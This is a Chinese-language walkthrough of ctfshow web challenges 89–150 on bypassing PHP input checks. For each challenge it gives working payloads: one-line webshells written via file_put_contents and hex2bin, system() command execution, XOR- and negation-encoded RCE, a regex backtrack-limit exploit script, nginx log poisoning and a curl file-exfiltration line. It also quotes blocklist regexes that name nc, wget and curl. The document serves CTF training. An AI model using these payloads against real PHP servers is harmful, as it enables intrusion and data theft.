一些函数绕过 PHP绕过姿势
web89
通过数组绕过 payload:
?num[]=1
web90
用小数进行绕过 payload
?num=4476.1
web91
show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
if(preg_match('/^php$/i', $a)){
echo 'hacker';
}
else{
echo $flag;
}
}
else{
echo 'nonononono';
}
考察点:正则表达式修饰符 拓展
i
不区分(ignore)大小写
m
多(more)行匹配
若存在换行\n并且有开始^或结束$符的情况下,
将以换行为分隔符,逐行进行匹配
$str = "abc\nabc";
$preg = "/^abc$/m";
preg_match($preg, $str,$matchs);
这样其实是符合正则表达式的,因为匹配的时候 先是匹配换行符前面的,接着匹配换行符后面的,两个都是abc所以可以通过正则表达式。
s
特殊字符圆点 . 中包含换行符
默认的圆点 . 是匹配除换行符 \n 之外的任何单字符,加上s之后, .包含换行符
$str = "abggab\nacbs";
$preg = "/b./s";
preg_match_all($preg, $str,$matchs);
这样匹配到的有三个 bg b\n bs
A
强制从目标字符串开头匹配;
D
如果使用$限制结尾字符,则不允许结尾有换行;
e
配合函数preg_replace()使用, 可以把匹配来的字符串当作正则表达式执行;
本题中由于/m可以匹配到换行符之后的东西,因此构造路径:
?cmd=%0aphp
%0aphp 经过第一个匹配时,以换行符为分割也就是%0a,前面因为是空的,所以只匹配换行符后面的,所以可以通过。 经过第二个正则表达式时,因为我们是%0aphp 不符合正则表达式的以php开头以php结尾。所以无法通过,最后输出flag
web92
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}
通过源码可以看出我们要让num==4476,但同时也要让intval(num)也为零。 intval()是将数据转化为整形,因此可以通过小数来绕过。 payload
?num=4476.1
web93
同上方法一样
web94
strpos($num, "0")
strpos() 函数查找字符串在另一字符串中第一次出现的位置 (该函数中0不能出现在第一个位置上) 绕过payload:
?num=4476.0
web95
科普:
1、八进制数是一种逢八进一的计数体制,基数是8,用0~7表示,如077。
2、八进制数以数字0开头。
3、十六进制数是一种逢十六进一的计数体制,基数是16,用0~9,A~F表示,如0xFF或0XFF。
4、十六进制数以数字0和字母x的组合0x或0X开头。其中字母x是不区分大小写的,即0x与0X等价。
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]|\./i", $num)){
die("no no no!!");
}
if(!strpos($num, "0")){
die("no no no!!!");
}
if(intval($num,0)===4476){
echo $flag;
}
}
本题将小数点过滤,使得无法用小数,由于不能用字母,则科学计数法和十六进制都无法使用,因此只能考虑八进制。 payload:
?num=+010574
web96
<?php
highlight_file(__FILE__);
if(isset($_GET['u'])){
if($_GET['u']=='flag.php'){
die("no no no");
}else{
highlight_file($_GET['u']);
}
}
highlight_file()
payload:
?u=/var/www/html/flag.php
?u=php:
web97
<?php
include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>
看题后要明白本题考察md5()的比较,我们要知道,md5无法处理数组,但MD5处理数组时会返回为null,因此构造路径:
a[]=2&b[]=1
web98
include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
看代码发现本题仅仅是让post值覆盖get的值,因此,get方式随便传一个参数,之后POST传参HTTP_FLAG=flag。
GET ?flag=1 ;POST HTTP_FLAG=flag
web 99
<?php
highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) {
array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
file_put_contents($_GET['n'], $_POST['content']);
}
?>
根据题意可以看出直接创建一个文件,并将一句话木马写入即可。 payload
get ?n=1.php POST <?php eval($_POST[1]); ?>
web100
<?php
highlight_file(__FILE__);
include("ctfshow.php");
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\;/", $v2)){
if(preg_match("/\;/", $v3)){
eval("$v2('ctfshow')$v3");
}
}
}
?>
根据题意,可以发现本题考查and与&&的区别+反射类ReflectionClass的使用 (&&>=>and) 因此本题会先执行=,and可以不成立。 之后是利用PHP中的反射类ReflectionClass,因为已经提示了flag在ctfshow这个类里php官网上反射类 yun师傅举个简单的例子;以供学习。
<?php
class A{
public static $flag="flag{123123123}";
const PI=3.14;
static function hello(){
echo "hello</br>";
}
}
$a=new ReflectionClass('A');
var_dump($a->getConstants()); 获取一组常量
输出
array(1) {
["PI"]=>
float(3.14)
}
var_dump($a->getName()); 获取类名
输出
string(1) "A"
var_dump($a->getStaticProperties()); 获取静态属性
输出
array(1) {
["flag"]=>
string(15) "flag{123123123}"
}
var_dump($a->getMethods()); 获取类中的方法
输出
array(1) {
[0]=>
object(ReflectionMethod)
["name"]=>
string(5) "hello"
["class"]=>
string(1) "A"
}
}
预期解:
?v1=1&v2=echo new ReflectionClass&v3=;
本题有非预期解:
?v1=1&v2=system("cat ctfshow.php");
web101
同上一题相似,(非预期解消失)
web102
<?php
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2);
$str = call_user_func($v1,$s);
echo $str;
file_put_contents($v3,$str);
}
else{
die('hacker');
}
?>
看到本题后,发现v2要为全数字,v1应为一个内置类,v3为文件名 看到这里我们可以想到16进制绕过is_numeric()。 之后便不知道了
call_user_func — 把第一个参数作为回调函数调用 1.通过函数的方式回调 2.通过类名、对象的方式回调 3.用call_user_func()来调用一个类里面的方法
s
=
s
u
b
s
t
r
(
s = substr(
s=substr(v2,2) 截取v2中前两个字符
看到大佬博客 paylaod 首先将我们的一句话编码成16进制
get:v2=0x3c3f706870206576616c28245f504f53545b315d293b3f3e&v3=1.php
post:v1=hex2bin
完成木马的写入。 但是本题无法使用,应该是因为环境为php7,因为在php7下
var_dump(is_numeric("0x3c3f706870206576616c28245f504f53545b315d293b3f3e"));
下返回false
所以只能另想办法,要让v2均为数字,首先我们考虑写入1.php时,利用伪协议写入
get:v2=???&v3=php:
post: v1=hex2bin
关键就是什么代码base64编码后再转为十六进制为全数字
$a='<?=`cat *`;';
$b=base64_encode($a);
$c=bin2hex($b);
同时因为经过substr处理,所以v2前面还要补00 payload:
get:v2=005044383959474e6864434171594473&v3=php:
post: v1=hex2bin
之后访问1.php看源码即可。
web103
同上一样,路径相同
web104、106
<?php
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['v1']) && isset($_GET['v2'])){
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
if(sha1($v1)==sha1($v2)){
echo $flag;
}
}
?>
通过利用数组绕过shal(); payload:
post:v1[]=1;get v2[]=2;
web 105
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){
if($key==='error'){
die("what are you doing?!");
}
$$key=$$value;
}foreach($_POST as $key => $value){
if($value==='flag'){
die("what are you doing?!");
}
$$key=$$value;
}
if(!($_POST['flag']==$flag)){
die($error);
}
echo "your are good".$flag."\n";
die($suces);
看到本体,有点懵,但是却有一个关键:
if(!($_POST['flag']==$flag)){
die($error);
因此只要我们可以对$error传参就可以传出flag; payload:
GET: ?a=flag POST: error=a;
通过get进一个参数使他为flag,并将a赋给error利用die()函数得到flag
还有一个payload:
suces=flag&flag=
web107
<?php
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
if(isset($_POST['v1'])){
$v1 = $_POST['v1'];
$v3 = $_GET['v3'];
parse_str($v1,$v2);
if($v2['flag']==md5($v3)){
echo $flag;
}
}
?>
看到题目可以发现,我们需要了解parse_str()函数的意思
parse_str(string,array):string为解析的字符串,array为存储变量的数组的名称。该参数指示变量将被存储到数组中
因此可以通过以下路径:
POST v1=flag=NULL GET ?v3[]=1
从而得到flag
web108
<?php
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE) {
die('error');
}
if(intval(strrev($_GET['c']))==0x36d){
echo $flag;
}
?>
error
通过本题可以看到ereg()函数该函数可以用%00来截断 strrev()字符串反转 intval()取整 payload:
?c=a%00778
web109
<?php
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
eval("echo new $v1($v2());");
}
}
?>
只要有字母便可以,因此找到不会报错的类。
Exception
ReflectionClass
payload
v1=Exception();system('tac f*');
v1=ReflectionClass&v2=system('tac f*')
?v1=ReflectionClass("PDO");system("ls");
中间那个,可以不闭合的原理就是因为先执行的system,然后才报的错。你可以理解成phpinfo(system(“ls”));,先执行的system。
web110
<?php
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
die("error v1");
}
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
die("error v2");
}
eval("echo new $v1($v2());");
}
?>
看到题目后就会发现上题的解法无法使用,同时不能出现上面匹配的字符 看大佬博客发现
FilesystemIterator()
<?php
$a=new FilesystemIterator('.'));
while ($a->valid()){
echo $a->getFilename()."\n";
$a->next();
}
结果
103.php
ssrf.php
text.php
因此只要出现‘.’便可以出现题解,对于点我们可以使用getcwd()函数来替代
getcwd() :获取当前工作目录
从而获得路径 payload:
?v1=FilesystemIterator&&v2=getcwd
web111
<?php
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
function getFlag(&$v1,&$v2){
eval("$$v1 = &$$v2;");
var_dump($$v1);
}
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
die("error v1");
}
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
die("error v2");
}
if(preg_match('/ctfshow/', $v1)){
getFlag($v1,$v2);
}
}
?>
考察$GLOBALS变量
$GLOBALS — 引用全局作用域中可用的全部变量
一个包含了全部变量的全局组合数组。变量的名字就是数组的键。
通过图片可以看到该变量可以返回我们写的变量,那是不是在这道题中可以返回$flag! payload
?v1=ctfshow&&v2=GLOBALS
web112
<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
die("hacker!");
}else{
return $file;
}
}
$file=$_GET['file'];
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}
看到本题看到过滤的没有php和filter就想到了php伪协议
is_file — 判断给定文件名是否为一个正常的文件
is_file ( string $filename ) : bool
我们的目的是不能让is_file检测出是文件,并且 highlight_file可以识别为文件。这时候可以利用php伪协议。 可以直接用不带任何过滤器的filter伪协议
?file=php:
或者
payload:file=php:
file=compress.zlib:
payload:file=php:
web 113
<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
die('hacker!');
}else{
return $file;
}
}
$file=$_GET['file'];
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}
compress.zlib://file.gz - 处理的是 ‘.gz’ 后缀的压缩包 compress.bzip2://file.bz2 - 处理的是 ‘.bz2’ 后缀的压缩包 zip://archive.zip#dir/file.txt - 处理的是 ‘.zip’ 后缀的压缩包里的文件
用上一题的非预期解:?file=compress.zlib://flag.php 预期解:
file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
在linux中/proc/self/root是指向根目录的,也就是如果在命令行中输入ls /proc/self/root,其实显示的内容是根目录下的内容 多次重复从而绕过的原理不懂!
web114
filter没有过滤!!
web115
<?php
include('flag.php');
highlight_file(__FILE__);
error_reporting(0);
function filter($num){
$num=str_replace("0x","1",$num);
$num=str_replace("0","1",$num);
$num=str_replace(".","1",$num);
$num=str_replace("e","1",$num);
$num=str_replace("+","1",$num);
return $num;
}
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
if($num=='36'){
echo $flag;
}else{
echo "hacker!!";
}
}else{
echo "hacker!!!";
} hacker!!!
本题考is_numeric()和trim()过滤 trim():匹配字符串 做个实验
for ($i=0; $i <128 ; $i++) {
$x=chr($i).'1';
if(is_numeric($x)==true){
echo urlencode(chr($i))."\n";
}
}
结果有除了数字和±.号以外还有 %09 %0a %0b %0c %0d %20
for ($i=0; $i <=128 ; $i++) {
$x=chr($i).'1';
if(trim($x)!=='1' && is_numeric($x)){
echo urlencode(chr($i))."\n";
}
}
结果有±.号以外还有只剩下%0c也就是换页符 则只有%0c可以同时绕过两个函数 payload
?num=%0c36
web123、125、126
<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}
?>
看到本题,发现首先一个难点就是让CTF_SHOW.COM绕过匹配,看到大佬博客后发现CTF[SHOW.COM可以绕过。之后有一个知识点:
1、cli模式(命令行)下
第一个参数$_SERVER['argv'][0]是脚本名,其余的是传递给脚本的参数
2、web网页模式下
在web页模式下必须在php.ini开启register_argc_argv配置项
设置register_argc_argv = On(默认是Off),重启服务,$_SERVER[‘argv’]才会有效果
这时候的$_SERVER[‘argv’][0] = $_SERVER[‘QUERY_STRING’]
$argv,$argc在web模式下不适用
因为本题是在web条件下,所以我们可以用
$_SERVER[‘argv’][0] = $_SERVER[‘QUERY_STRING’]
$_SERVER[‘QUERY_STRING’]的用法 因此可以构造payload
GET $fl0g=flag_give_me;
POST CTF_SHOW=1&CTF[SHOW.COM=1&fun=eval($a[0])
web127
<?php
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$ctf_show = md5($flag);
$url = $_SERVER['QUERY_STRING'];
function waf($url){
if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $url)){
return true;
}else{
return false;
}
}
if(waf($url)){
die("嗯哼?");
}else{
extract($_GET);
}
if($ctf_show==='ilove36d'){
echo $flag;
}
看到本题后发现和上一题相似,也是要绕过匹配的_
extract($array):将数组中的键、值 变成 变量和值
payload
ctf%5bshow=ilove36d
ctf show=ilove36d
web128
<?php
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$f1 = $_GET['f1'];
$f2 = $_GET['f2'];
if(check($f1)){
var_dump(call_user_func(call_user_func($f1,$f2)));
}else{
echo "嗯哼?";
}
function check($str){
return !preg_match('/[0-9]|[a-z]/i', $str);
}
看到本题后一脸懵,看大佬博客
call_user_func() : 该函数?是??PHP??中的一个内置函数,用于调用第一个参数给出的回调,并将其余参数作为参数传递。它用于调用用户定义的函数。?
在开启gettext拓展后,有_()==gettext() ,开启text扩展。需要php扩展目录下有php_gettext.dll 在开启该拓展后 _() 等效于 gettext()
<?php
echo gettext("phpinfo");
结果 phpinfo
echo _("phpinfo");
结果 phpinfo
所以 call_user_func(’_’,‘phpinfo’) 返回的就是phpinfo 因为我们要得到的flag就在flag.php中,所以可以直接用get_defined_vars
get_defined_vars ( void ) : array
此函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。
则payload:?f1=_&&f2=get_defined_vars
web129
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['f'])){
$f = $_GET['f'];
if(stripos($f, 'ctfshow')>0){
echo readfile($f);
}
}
stripos():查找字符串在另一字符串中第一次出现的位置(不区分大小写)
可以用服务器进行远程文件包含或者用伪协议 filter伪协议支持多种编码方式,无效的就被忽略掉了
f=php:
目录穿越也可以以
f=/ctfshow/../../../../../../../var/www/html/flag.php
web130~131
<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
$f = $_POST['f'];
if(preg_match('/.+?ctfshow/is', $f)){
die('bye!');
}
if(stripos($f, 'ctfshow') === FALSE){
die('bye!!');
}
echo $flag;
}
考察点:利用正则最大回溯次数绕过 看到本题,要想办法绕过preg_match()或stripos() PHP 为了防止正则表达式的拒绝服务攻击(reDOS),给 pcre 设定了一个回溯次数上限 pcre.backtrack_limit 回溯次数上限默认是 100 万。如果回溯次数超过了 100 万,preg_match 将不再返回非 1 和 0,而是 false。这样我们就可以绕过第一个正则表达式了。
import requests
url="http://03771c3c-6afb-4457-a719-19cc6ccf922e.chall.ctf.show/"
data={
'f':'very'*250000+'ctfshow'
}
r=requests.post(url,data=data)
print(r.text)
看了一下羽师傅的WP,原来还能数组绕过。。。是个非预期
f[]=1
stripos应用于数组的时候会返回null,null!==false,所以非预期了 又看了一眼hint,我又震惊了:f=ctfshow。发生甚么事了? 又查了一下,原来对这正则表达式的理解还是不太对:/.+?ctfshow/is 在/s模式下,.匹配任意字符,+表示重复一次或更多次,没错是至少一次!而后面加个?表示懒惰模式,+?表示重复1次或更多次,但尽可能少重复。当然懒惰模式并不影响解题思路,总之就是ctfshow前面必须得有字符才能匹配到,所以直接f=ctfshow就可以了。
web 132
本题首先进入题目页面,在
/admin
之后看到
if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){
原理不太清楚,但是师傅们说 只需让后面成立即username,则
?code=admin&password=1&username=admin
web133
if($F = @$_GET['F']){
if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){
eval(substr($F,0,6));
}else{
die("6个字母都还不够呀?!");
}
}
看师傅们的解题: 举个例子:
get传参 F=`$F `;sleep 3
经过substr($F,0,6)截取后 得到 `$F `;
也就是会执行 eval("`$F `;");
我们把原来的$F带进去
eval("``$F `;sleep 3`");
也就是说最终会执行 ` `$F `;sleep 3 ` == shell_exec("`$F `;sleep 3");
前面的命令我们不需要管,但是后面的命令我们可以自由控制。
这样就在服务器上成功执行了 sleep 3
所以 最后就是一道无回显的RCE题目了
无回显我们可以用反弹shell 或者curl外带 或者盲注 这里的话反弹没有成功,但是可以外带。(由于外带没有成功,就举例第二种利用burpsuit的方法)
payload: curl -X POST -F xx=@flag.php http:
得flag
web134
if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) {
die("nonononono");
}
@parse_str($_SERVER['QUERY_STRING']);
extract($_POST);
if($key1 == '36d' && $key2 == '36d') {
die(file_get_contents('flag.php'));
}
考察POST变量覆盖 yu师傅做了个测试
parse_str($_SERVER['QUERY_STRING']);
var_dump($_POST);
然后我们传入 _POST[‘a’]=123 会发现输出的结果为array(1) { ["‘a’"]=> string(3) “123” } 也就是说现在的$_POST[‘a’]存在并且值为123
题目中还有个extract($_POST) 这样的话 $a==123
?_POST[key1]=36d&_POST[key2]=36d
web135
if($F = @$_GET['F']){
if(!preg_match('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i', $F)){
eval(substr($F,0,6));
}else{
die("师傅们居然破解了前面的,那就来一个加强版吧");
}
这道题和前面得相似,他把curl给过滤了 看yu师傅得操作,想到了重定向
payload:?F=`$F `;nl f*>xxx
web136
<?php
error_reporting(0);
function check($x){
if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
die('too young too simple sometimes naive!');
}
}
if(isset($_GET['c'])){
$c=$_GET['c'];
check($c);
exec($c);
}
else{
highlight_file(__FILE__);
}
?>
本题过滤了许多东西,同时如果直接ls将不会回显,因此利用linux上的tee命令来写文件
?c=ls /|tee 111
之后发现在f149_15_h3r3个下面
?c=cat /f149_15_h3r3|tee 111
得flag
web137
<?php
error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
function __wakeup(){
die("private class");
}
static function getFlag(){
echo file_get_contents("flag.php");
}
}
call_user_func($_POST['ctfshow']);
call_user_funchan函数得简单回调 (把他想复杂了,想成_walkup的绕过) payload
ctfshow=ctfshow::getFlag
web138
本题关键call_user_func()的使用 call_user_func中不但可以传字符串也可以传数组 例
call_user_func(array($classname, 'say_hello'));
这时候会调用 classname中的 say_hello方法
则payload
ctfshow[0]=ctfshow&ctfshow[1]=getFlag
web139
盲注,暂时先过
web140
intval会将非数字字符转换为0,也就是说 intval(‘a’)==0 intval(’.’)==0 intval(’/’)==0 则将有很多解法
f1=md5&f2=end
web141
preg_match('/^\W+$/', $v3)
^是表示正则表达式的开始,$表示正则表达式的结束,\w表示任意大小写字母或数字或下划线,+号表示1到多个\w
<?php
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/^\W+$/', $v3)){
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}
制作命令eval(“return phpinfo();”) 因此v3肯定是命令执行,但是v1v2又怎么弄呢?PHP里面数字是可以和一些命令进行运算,例如1-phpinfo()-1,这样仍然可以执行phpinfo(),因此构造就很明显了。中单的v3用无数字字母rce就可以。
运行取反脚本构造system(‘tac f*’)得到 (%8C%86%8C%8B%9A%92)(%8B%9E%9C%DF%99%D5);
(yu师傅取反脚本):
?v1=1&v3=-(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5);-&v2=1
好像异或和或不能用(反正我是没有成功)
web142
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['v1'])){
$v1 = (String)$_GET['v1'];
if(is_numeric($v1)){
$d = (int)($v1 * 0x36d * 0x36d * 0x36d * 0x36d * 0x36d);
sleep($d);
echo file_get_contents("flag.php");
}
}
很简单,直接 v1=0,如果等于1你将需要等到0x36d * 0x36d * 0x36d * 0x36d * 0x36d这么久才有回显
web143
本题用web141的异或脚本即可解决
web144
和141一样,但注意要看清v1v2v3的位置!!!
web145
本题把*和-和+都过滤了,没思路,看大佬博客 发现除了上述的符号还可以使用以下的
?v1=1&v2=1&v3=|(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5)|
或
?v1=1&v2=1&v3=?(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5):
web146
第二个被ban,因此用上一题的第一个
web147
本题利用create_function函数
create_function('$a','echo $a."123"')
类似于
function f($a) {
echo $a."123";
}
那么如果我们第二个参数传入 }phpinfo();// 就等价于
function f($a) {
}phpinfo();
}
从而执行phpinfo()命令
详细可以看这篇文章 则paylaod
GET:?show=}system('tac flag.php');
POST:ctf=\create_function
web148
没有过滤异或,直接异或
?code=("%08%02%08%09%05%0d"^"%7b%7b%7b%7d%60%60")("%09%01%03%01%06%02"^"%7d%60%60%21%60%28");
web149
scandir():读取()内路径下的文件 unlink():删除文件
传🐎到index.php或进行条件竞争
web150
令isvip为true之后现在日志中传入一句话(即在user-agent中加入) 之后访问日志 payload
ctf=/var/log/nginx/access.log&a=system("tac flag.php");
web150plus
知识点
_可以用…来代替 __autoload():进行类判断时被调用
则payload
?..CTFSHOW..=phpinfo
flag在phpinfo中
|